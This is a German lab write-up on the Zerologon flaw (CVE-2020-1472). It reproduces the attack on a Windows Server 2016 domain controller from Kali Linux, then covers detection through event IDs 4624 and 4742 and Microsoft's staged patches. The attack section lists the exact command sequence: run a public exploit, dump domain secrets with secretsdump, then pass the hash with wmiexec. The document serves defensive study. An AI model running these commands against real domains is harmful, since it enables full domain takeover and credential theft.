Zerologon_CVE-2020-1472

Zielsetzung

Diese Schwachstellenforschung zielte darauf ab, eine kontrollierte Umgebung für die Simulation eines Zerologon-Angriffs auf Windows Server 2016 über Kali Linux zu Erkennungs- und Eindämmungszwecken zu schaffen. Der Hauptfokus lag darauf, eine Penetration der Schwachstelle durchzuführen und die Möglichkeit aufzuzeigen, einen Desktop zu kontrollieren, ohne sich als Benutzer des Desktops anzumelden, während die Schwachstelle erkannt und eingedämmt wird.

Erlernte Fähigkeiten

• Fortgeschrittenes Verständnis der Windows-Ereignisanzeige
• Kompetenter Umgang mit Kali Linux und Impacket
• Fähigkeit zur Durchführung eines Zerologon-Angriffs

Verwendete Tools

• Zerologon Codes
• Windows Server 2016
• Kali Linux

Schritte zur Durchführung von Zerologon

Kali Linux

1. sudo su, um zum Root-Benutzer zu wechseln
2. git clone https://github.com/dirkjanm/CVE-2020-1472
3. cd /home/kali/impacket/examples/CVE-2020-1472 (Ändern Sie das Verzeichnis entsprechend Ihrer Verzeichnisstruktur)
4. /cve-2020-1472-exploit.py -n [NETBIOS] -t [IPaddress]
5. secretsdump.py -no-pass -just-dc [NETBIOS/User]$@[IP adress]
6. wmiexec.py [Domain/User@IP] - hashes [hash]

Schritte zur Erkennung von Zerologon

Windows

WICHTIG Deaktivieren Sie die Sicherheitsfunktion

1. Überprüfen Sie die Ereignisanzeige
2. Wählen Sie im Server-Manager unter Windows-Protokolle die Kategorie Sicherheit und suchen Sie nach Ereignis-ID 4624 (Benutzeranmeldeereignis) Anzeichen eines Zerologon-Angriffs

• Der Betreff der Protokolle wird als NULL SID angezeigt
• Dieser Anmeldung werden ebenfalls administrative Rechte gewährt
• Sie können auch Ereignis-ID 4742 überprüfen (NT Authority ist der Angreifer)

Schritte zum Patchen

Microsoft hat verfügbare Patches zum Schutz von Windows-Servern (2008, 2016 und 2019) entwickelt. So war es geplant. In der ersten Phase – beim Einspielen des ersten Patches (August-Patch) – kann die Domäne andere verbundene Geräte vor nicht konformen Geräten schützen; es gibt eine Option, alle beigetretenen Geräte mit einer expliziten Ausnahme zu schützen.

Der zweite Patch (Patch vom Februar des nächsten Jahres), die Durchsetzungsphase: Wenn er installiert ist, werden alle Windows- und Nicht-Windows-Geräte gezwungen, einen sicheren Remote Procedure Call mit Netlogon zu verwenden. Oder es können bestimmte vertrauenswürdige Geräte explizit zugelassen werden. Im Wesentlichen wird der nicht konforme Computer aus der Domäne entfernt.